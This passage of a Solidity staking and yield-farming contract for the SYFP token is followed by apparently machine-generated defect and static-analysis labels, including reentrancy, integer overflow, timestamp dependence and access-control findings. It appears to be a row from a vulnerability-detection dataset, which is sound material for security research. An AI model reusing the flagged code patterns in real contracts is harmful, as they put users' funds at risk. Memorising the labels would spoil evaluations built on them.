ISYFP(SYFP).mint(msg.sender, _pendingYield);
emit YieldCollected(_tokenAddress, _pendingYield);
}
// ------------------------------------------------------------------------
// Withdraw any amount of tokens, the contract will update the farming
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function WithdrawFarmedTokens(address _tokenAddress, uint256 _amount) public {
require(users[msg.sender][_tokenAddress].activeDeposit >= _amount, "insufficient amount in farming");
require(_tokenAddress != SYFP, "use withdraw of staking instead");
// update farming stats
// check if we have any pending yield, add it to previousYield var
users[msg.sender][_tokenAddress].pendingGains = PendingYield(_tokenAddress, msg.sender);
tokens[_tokenAddress].stakedTokens = tokens[_tokenAddress].stakedTokens.sub(_amount);
// update amount
users[msg.sender][_tokenAddress].activeDeposit = users[msg.sender][_tokenAddress].activeDeposit.sub(_amount);
// update farming start time -- new farming will begin from this time onwards
users[msg.sender][_tokenAddress].startTime = now;
// reset last claimed figure as well -- new farming will begin from this time onwards
users[msg.sender][_tokenAddress].lastClaimedDate = now;
// withdraw the tokens and move from contract to the caller
require(ISYFP(_tokenAddress).transfer(msg.sender, _amount));
emit TokensClaimed(msg.sender, _amount);
}
function yieldWithdraw(address _tokenAddress) external {
Yield(_tokenAddress);
WithdrawFarmedTokens(_tokenAddress, users[msg.sender][_tokenAddress].activeDeposit);
}
//#########################################################################################################################################################//
//####################################################STAKING EXTERNAL FUNCTIONS###########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Start staking
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function Stake(uint256 _amount) external {
// add new stake
_newDeposit(SYFP, _amount);
// transfer tokens from user to the contract balance
require(ISYFP(SYFP).transferFrom(msg.sender, address(this), _amount));
emit Staked(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Add more deposits to already running farm
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function AddToStake(uint256 _amount) external {
require(now - users[msg.sender][SYFP].startTime < users[msg.sender][SYFP].period, "current staking expired");
_addToExisting(SYFP, _amount);
// move the tokens from the caller to the contract address
require(ISYFP(SYFP).transferFrom(msg.sender,address(this), _amount));
emit AddedToExistingStake(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimStakedTokens() public {
require(users[msg.sender][SYFP].activeDeposit > 0, "no running stake");
require(users[msg.sender][SYFP].startTime.add(users[msg.sender][SYFP].period) < now, "not claimable before staking period");
uint256 _currentDeposit = users[msg.sender][SYFP].activeDeposit;
// check if we have any pending reward, add it to pendingGains var
users[msg.sender][SYFP].pendingGains = PendingReward(msg.sender);
tokens[SYFP].stakedTokens = tokens[SYFP].stakedTokens.sub(users[msg.sender][SYFP].activeDeposit);
// update amount
users[msg.sender][SYFP].activeDeposit = 0;
// transfer staked tokens
require(ISYFP(SYFP).transfer(msg.sender, _currentDeposit));
emit TokensClaimed(msg.sender, _currentDeposit);
}
function ClaimUnStake() external {
ClaimReward();
ClaimStakedTokens();
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public payable {
require(msg.value >= stakeClaimFee, "should pay exact claim fee");
require(PendingReward(msg.sender) > 0, "nothing pending to claim");
uint256 _pendingReward = PendingReward(msg.sender);
// add claimed reward to global stats
totalRewards = totalRewards.add(_pendingReward);
// add the reward to total claimed rewards
users[msg.sender][SYFP].totalGained = users[msg.sender][SYFP].totalGained.add(_pendingReward);
// update lastClaim amount
users[msg.sender][SYFP].lastClaimedDate = now;
// reset previous rewards
users[msg.sender][SYFP].pendingGains = 0;
// transfer the claim fee to the owner
owner.transfer(msg.value);
// mint more tokens inside token contract
ISYFP(SYFP).mint(msg.sender, _pendingReward);
emit RewardClaimed(msg.sender, _pendingReward);
}
//#########################################################################################################################################################//
//##########################################################FARMING QUERIES################################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Query to get the pending yield
// @param _tokenAddress address of the token asset
// ------------------------------------------------------------------------
function PendingYield(address _tokenAddress, address _caller) public view returns(uint256 _pendingRewardWeis){
uint256 _totalFarmingTime = now.sub(users[_caller][_tokenAddress].lastClaimedDate);
uint256 _reward_token_second = ((tokens[_tokenAddress].rate).mul(10 ** 21)).div(365 days); // added extra 10^21
uint256 yield = ((users[_caller][_tokenAddress].activeDeposit).mul(_totalFarmingTime.mul(_reward_token_second))).div(10 ** 27); // remove extra 10^21 // 10^2 are for 100 (%)
return yield.add(users[_caller][_tokenAddress].pendingGains);
}
// ------------------------------------------------------------------------
// Query to get the active farm of the user
// @param farming asset/ token address
// ------------------------------------------------------------------------
function ActiveFarmDeposit(address _tokenAddress, address _user) external view returns(uint256 _activeDeposit){
return users[_user][_tokenAddress].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total farming of the user
// @param farming asset/ token address
// ------------------------------------------------------------------------
function YourTotalFarmingTillToday(address _tokenAddress, address _user) external view returns(uint256 _totalFarming){
return users[_user][_tokenAddress].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get the time of last farming of user
// ------------------------------------------------------------------------
function LastFarmedOn(address _tokenAddress, address _user) external view returns(uint256 _unixLastFarmedTime){
return users[_user][_tokenAddress].startTime;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from particular farming
// @param farming asset/ token address
// ------------------------------------------------------------------------
function TotalFarmingRewards(address _tokenAddress, address _user) external view returns(uint256 _totalEarned){
return users[_user][_tokenAddress].totalGained;
}
//#########################################################################################################################################################//
//####################################################FARMING ONLY OWNER FUNCTIONS#########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Add supported tokens
// @param _tokenAddress address of the token asset
// @param _farmingRate rate applied for farming yield to produce
// @required only owner or governance contract
// ------------------------------------------------------------------------
function AddToken(address _tokenAddress, uint256 _rate) public onlyOwner {
_addToken(_tokenAddress, _rate);
}
// ------------------------------------------------------------------------
// Remove tokens if no longer supported
// @param _tokenAddress address of the token asset
// @required only owner or governance contract
// ------------------------------------------------------------------------
function RemoveToken(address _tokenAddress) public onlyOwner {
require(tokens[_tokenAddress].exists, "token doesn't exist");
tokens[_tokenAddress].exists = false;
emit TokenRemoved(_tokenAddress, tokens[_tokenAddress].rate);
}
// ------------------------------------------------------------------------
// Change farming rate of the supported token
// @param _tokenAddress address of the token asset
// @param _newFarmingRate new rate applied for farming yield to produce
// @required only owner or governance contract
// ------------------------------------------------------------------------
function ChangeFarmingRate(address _tokenAddress, uint256 _newFarmingRate) public onlyOwner{
require(tokens[_tokenAddress].exists, "token doesn't exist");
tokens[_tokenAddress].rate = _newFarmingRate;
emit FarmingRateChanged(_tokenAddress, _newFarmingRate);
}
// ------------------------------------------------------------------------
// Change Yield collection fee
// @param _fee fee to claim the yield
// @required only owner or governance contract
// ------------------------------------------------------------------------
function SetYieldCollectionFee(uint256 _fee) public onlyOwner{
yieldCollectionFee = _fee;
emit YieldCollectionFeeChanged(_fee);
}
//#########################################################################################################################################################//
//####################################################STAKING QUERIES######################################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function PendingReward(address _caller) public view returns(uint256 _pendingReward){
uint256 _totalStakedTime = 0;
uint256 expiryDate = (users[_caller][SYFP].period).add(users[_caller][SYFP].startTime);
if(now < expiryDate)
_totalStakedTime = now.sub(users[_caller][SYFP].lastClaimedDate);
else{
if(users[_caller][SYFP].lastClaimedDate >= expiryDate) // if claimed after expirydate already
_totalStakedTime = 0;
else
_totalStakedTime = expiryDate.sub(users[_caller][SYFP].lastClaimedDate);
}
uint256 _reward_token_second = ((users[_caller][SYFP].rate).mul(10 ** 21)); // added extra 10^21
uint256 reward = ((users[_caller][SYFP].activeDeposit).mul(_totalStakedTime.mul(_reward_token_second))).div(10 ** 27); // remove extra 10^21 // the two extra 10^2 is for 100 (%) // another two extra 10^4 is for decimals to be allowed
reward = reward.div(365 days);
return (reward.add(users[_caller][SYFP].pendingGains));
}
// ------------------------------------------------------------------------
// Query to get the active stake of the user
// ------------------------------------------------------------------------
function YourActiveStake(address _user) external view returns(uint256 _activeStake){
return users[_user][SYFP].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total stakes of the user
// ------------------------------------------------------------------------
function YourTotalStakesTillToday(address _user) external view returns(uint256 _totalStakes){
return users[_user][SYFP].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get the time of last stake of user
// ------------------------------------------------------------------------
function LastStakedOn(address _user) public view returns(uint256 _unixLastStakedTime){
return users[_user][SYFP].startTime;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from stake
// ------------------------------------------------------------------------
function TotalStakeRewardsClaimedTillToday(address _user) external view returns(uint256 _totalEarned){
return users[_user][SYFP].totalGained;
}
// ------------------------------------------------------------------------
// Query to get the staking rate
// ------------------------------------------------------------------------
function LatestStakingRate() external view returns(uint256 APY){
return tokens[SYFP].rate;
}
// ------------------------------------------------------------------------
// Query to get the staking rate you staked at
// ------------------------------------------------------------------------
function YourStakingRate(address _user) external view returns(uint256 _stakingRate){
return users[_user][SYFP].rate;
}
// ------------------------------------------------------------------------
// Query to get the staking period you staked at
// ------------------------------------------------------------------------
function YourStakingPeriod(address _user) external view returns(uint256 _stakingPeriod){
return users[_user][SYFP].period;
}
// ------------------------------------------------------------------------
// Query to get the staking time left
// ------------------------------------------------------------------------
function StakingTimeLeft(address _user) external view returns(uint256 _secsLeft){
uint256 left = 0;
uint256 expiryDate = (users[_user][SYFP].period).add(LastStakedOn(_user));
if(now < expiryDate)
left = expiryDate.sub(now);
return left;
}
//#########################################################################################################################################################//
//####################################################STAKING ONLY OWNER FUNCTION##########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Change staking rate
// @param _newStakingRate new rate applied for staking
// @required only owner or governance contract
// ------------------------------------------------------------------------
function ChangeStakingRate(uint256 _newStakingRate) public onlyOwner{
tokens[SYFP].rate = _newStakingRate;
emit StakingRateChanged(_newStakingRate);
}
// ------------------------------------------------------------------------
// Change the staking period
// @param _seconds number of seconds to stake (n days = n*24*60*60)
// @required only callable by owner or governance contract
// ------------------------------------------------------------------------
function SetStakingPeriod(uint256 _seconds) public onlyOwner{
stakingPeriod = _seconds;
}
// ------------------------------------------------------------------------
// Change the staking claim fee
// @param _fee claim fee in weis
// @required only callable by owner or governance contract
// ------------------------------------------------------------------------
function SetClaimFee(uint256 _fee) public onlyOwner{
stakeClaimFee = _fee;
}
//#########################################################################################################################################################//
//################################################################COMMON UTILITIES#########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Internal function to add new deposit
// ------------------------------------------------------------------------
function _newDeposit(address _tokenAddress, uint256 _amount) internal{
require(users[msg.sender][_tokenAddress].activeDeposit == 0, "Already running");
require(tokens[_tokenAddress].exists, "Token doesn't exist");
// add that token into the contract balance
// check if we have any pending reward/yield, add it to pendingGains variable
if(_tokenAddress == SYFP){
users[msg.sender][_tokenAddress].pendingGains = PendingReward(msg.sender);
users[msg.sender][_tokenAddress].period = stakingPeriod;
users[msg.sender][_tokenAddress].rate = tokens[_tokenAddress].rate; // rate for stakers will be fixed at time of staking
}
else
users[msg.sender][_tokenAddress].pendingGains = PendingYield(_tokenAddress, msg.sender);
users[msg.sender][_tokenAddress].activeDeposit = _amount;
users[msg.sender][_tokenAddress].totalDeposits = users[msg.sender][_tokenAddress].totalDeposits.add(_amount);
users[msg.sender][_tokenAddress].startTime = now;
users[msg.sender][_tokenAddress].lastClaimedDate = now;
tokens[_tokenAddress].stakedTokens = tokens[_tokenAddress].stakedTokens.add(_amount);
}
// ------------------------------------------------------------------------
// Internal function to add to existing deposit
// ------------------------------------------------------------------------
function _addToExisting(address _tokenAddress, uint256 _amount) internal{
require(tokens[_tokenAddress].exists, "Token doesn't exist");
// require(users[msg.sender][_tokenAddress].running, "no running farming/stake");
require(users[msg.sender][_tokenAddress].activeDeposit > 0, "no running farming/stake");
// update farming stats
// check if we have any pending reward/yield, add it to pendingGains variable
if(_tokenAddress == SYFP){
users[msg.sender][_tokenAddress].pendingGains = PendingReward(msg.sender);
users[msg.sender][_tokenAddress].period = stakingPeriod;
users[msg.sender][_tokenAddress].rate = tokens[_tokenAddress].rate; // rate of only staking will be updated when more is added to stake
}
else
users[msg.sender][_tokenAddress].pendingGains = PendingYield(_tokenAddress, msg.sender);
// update current deposited amount
users[msg.sender][_tokenAddress].activeDeposit = users[msg.sender][_tokenAddress].activeDeposit.add(_amount);
// update total deposits till today
users[msg.sender][_tokenAddress].totalDeposits = users[msg.sender][_tokenAddress].totalDeposits.add(_amount);
// update new deposit start time -- new stake/farming will begin from this time onwards
users[msg.sender][_tokenAddress].startTime = now;
// reset last claimed figure as well -- new stake/farming will begin from this time onwards
users[msg.sender][_tokenAddress].lastClaimedDate = now;
tokens[_tokenAddress].stakedTokens = tokens[_tokenAddress].stakedTokens.add(_amount);
}
// ------------------------------------------------------------------------
// Internal function to add token
// ------------------------------------------------------------------------
function _addToken(address _tokenAddress, uint256 _rate) internal{
require(!tokens[_tokenAddress].exists, "token already exists");
tokens[_tokenAddress] = Tokens({
exists: true,
rate: _rate,
stakedTokens: 0
});
TokensAddresses.push(_tokenAddress);
emit TokenAdded(_tokenAddress, _rate);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["335", "207"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["107"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["21"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["354", "356", "465", "466"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["456", "527", "290", "274"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [98]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [77, 78, 79]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [78]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [356]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [35]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [416, 417, 418, 411, 412, 413, 414, 415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [33]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [24, 21, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [563, 564, 565]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [426, 427, 428, 429, 430, 431, 432, 433]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [554, 555, 556]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [440, 441, 442, 443]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [402, 403, 404]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [32]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [37]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [36]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [544, 545, 546, 547, 542, 543]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [2]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [22]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [98]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [481]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [516, 517, 518]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [452]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [220]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [426, 427, 428, 429, 430, 431, 432, 433]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [563, 564, 565]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [273]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [481, 482, 483]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [388, 389, 390]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [440]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [190]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [554, 555, 556]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [312, 309, 310, 311]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [160, 161, 162, 163, 164, 165, 166, 167, 168, 158, 159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [474, 475, 476]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [175, 176, 177, 178, 179, 180, 181, 182, 183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [554]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [258, 259, 260, 261, 262, 263, 264, 265, 266]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [175]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [380]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [474]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [273, 274, 275, 276, 277, 278, 279, 280, 281]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [504, 502, 503]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [365]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [523, 524, 525, 526, 527, 528, 529, 530, 531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [158]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [21]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [380, 381, 382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [563]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [544, 545, 546, 547, 542, 543]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [542]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [380]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [220]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [440, 441, 442, 443]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [411]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [158]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [488, 489, 490]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [516]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [373]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [402]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [509]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [365, 366, 367]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [402]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [373, 374, 375]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [488]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [523]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [352, 353, 354, 355, 356, 357, 358, 359, 351]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [351]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [426]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [373]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [509, 510, 511]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [416, 417, 418, 411, 412, 413, 414, 415]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [85]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [351]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [175]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [496, 497, 495]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [402, 403, 404]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [426]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [243]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SYFP_STAKE_FARM.sol": [495]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [235]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [300]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [182]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [311]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [167]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"SYFP_STAKE_FARM.sol": [240]}}, 